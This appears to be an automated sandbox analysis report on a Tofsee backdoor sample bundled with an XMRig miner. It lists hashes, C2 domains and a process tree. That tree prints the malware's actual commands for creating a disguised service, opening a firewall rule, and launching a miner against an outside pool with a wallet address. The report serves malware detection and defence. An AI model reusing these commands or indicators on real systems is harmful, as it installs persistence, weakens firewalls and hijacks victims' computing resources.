Analysis

  • max time kernel
    296s
  • max time network
    306s
  • platform
    windows10-1703_x64
  • resource
    win10-20231023-en
  • resource tags

    arch:x64arch:x86image:win10-20231023-enlocale:en-usos:windows10-1703-x64system
  • submitted
    05/11/2023, 22:27

General

  • Target

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe

  • Size

    251KB

  • MD5

    3289ff07ba3c5b4ea9614f862dae3bd8

  • SHA1

    30b15edf7ad3f7bc059f58436198d5619f06a53a

  • SHA256

    c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935

  • SHA512

    9e90abf93b6e7268a0c8993c864d9b106c00990f77c1d8011ea7325a0467332f508f04dc083c46880dea9a71a9a6fbf6c8bdcec83b310093eea0c455c66e5a82

  • SSDEEP

    3072:7RoP5wl8uJh5E7jjzFApPWASdKogJodIj+5JjAxSdhee3hUDxy/Ocat:toWlbhOTFApPmdKogJc5JMxUh7OQG

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 10 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies data under HKEY_USERS 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe
    "C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:912
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\klwfqvrh\
      2⤵
        PID:3924
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\lbbykwmk.exe" C:\Windows\SysWOW64\klwfqvrh\
        2⤵
          PID:5064
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create klwfqvrh binPath= "C:\Windows\SysWOW64\klwfqvrh\lbbykwmk.exe /d\"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4184
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description klwfqvrh "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:3972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start klwfqvrh
          2⤵
          • Launches sc.exe
          PID:2416
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2784
      • C:\Windows\SysWOW64\klwfqvrh\lbbykwmk.exe
        C:\Windows\SysWOW64\klwfqvrh\lbbykwmk.exe /d"C:\Users\Admin\AppData\Local\Temp\c93020e01233f2935a6fba66fa3e3ccc38b0fc50bacd0a374c1130910f821935.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4408
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2172
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:204

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Local\Temp\lbbykwmk.exe

              Filesize

              10.4MB

              MD5

              bb5c1315bca0fb80ac1f4d5fd459a73f

              SHA1

              6bb13bababde7ae5c32bd9025b9cd95756e2bbf6

              SHA256

              71d91ccbbdd88dc7b242583164f69323f8ebcc568ca57ac715ba63a0810d3a8f

              SHA512

              ccdadb00cde05a51e123dbe4200c135164fdbad8fd823b8eb44d1b84567169c485a5947808e875881252d41de4f33980355f6c686ee7c5a6446ab40228511cc7

            • C:\Windows\SysWOW64\klwfqvrh\lbbykwmk.exe

              Filesize

              10.4MB

              MD5

              bb5c1315bca0fb80ac1f4d5fd459a73f

              SHA1

              6bb13bababde7ae5c32bd9025b9cd95756e2bbf6

              SHA256

              71d91ccbbdd88dc7b242583164f69323f8ebcc568ca57ac715ba63a0810d3a8f

              SHA512

              ccdadb00cde05a51e123dbe4200c135164fdbad8fd823b8eb44d1b84567169c485a5947808e875881252d41de4f33980355f6c686ee7c5a6446ab40228511cc7

            • memory/204-70-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-69-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-62-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-67-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-68-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-75-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-74-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-73-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-72-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/204-71-0x0000000000890000-0x0000000000981000-memory.dmp

              Filesize

              964KB

            • memory/912-8-0x00000000023B0000-0x00000000023C3000-memory.dmp

              Filesize

              76KB

            • memory/912-1-0x00000000007D0000-0x00000000008D0000-memory.dmp

              Filesize

              1024KB

            • memory/912-2-0x00000000023B0000-0x00000000023C3000-memory.dmp

              Filesize

              76KB

            • memory/912-7-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/912-4-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/2172-42-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-50-0x00000000031F0000-0x00000000031F5000-memory.dmp

              Filesize

              20KB

            • memory/2172-35-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-36-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-37-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-38-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-39-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-33-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-41-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-40-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-43-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-44-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-45-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-46-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-47-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-48-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-49-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-34-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-53-0x00000000031F0000-0x00000000031F5000-memory.dmp

              Filesize

              20KB

            • memory/2172-54-0x0000000009650000-0x0000000009A5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2172-57-0x0000000009650000-0x0000000009A5B000-memory.dmp

              Filesize

              4.0MB

            • memory/2172-58-0x0000000003BA0000-0x0000000003BA7000-memory.dmp

              Filesize

              28KB

            • memory/2172-30-0x0000000002DE0000-0x0000000002DF0000-memory.dmp

              Filesize

              64KB

            • memory/2172-27-0x0000000000D80000-0x0000000000D86000-memory.dmp

              Filesize

              24KB

            • memory/2172-26-0x0000000004B50000-0x0000000004D5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2172-23-0x0000000004B50000-0x0000000004D5F000-memory.dmp

              Filesize

              2.1MB

            • memory/2172-22-0x0000000000C30000-0x0000000000C45000-memory.dmp

              Filesize

              84KB

            • memory/2172-20-0x0000000000C30000-0x0000000000C45000-memory.dmp

              Filesize

              84KB

            • memory/2172-12-0x0000000000C30000-0x0000000000C45000-memory.dmp

              Filesize

              84KB

            • memory/2172-19-0x0000000000C30000-0x0000000000C45000-memory.dmp

              Filesize

              84KB

            • memory/2172-17-0x0000000000C30000-0x0000000000C45000-memory.dmp

              Filesize

              84KB

            • memory/4408-10-0x0000000000880000-0x0000000000980000-memory.dmp

              Filesize

              1024KB

            • memory/4408-13-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB

            • memory/4408-11-0x0000000000400000-0x00000000007C8000-memory.dmp

              Filesize

              3.8MB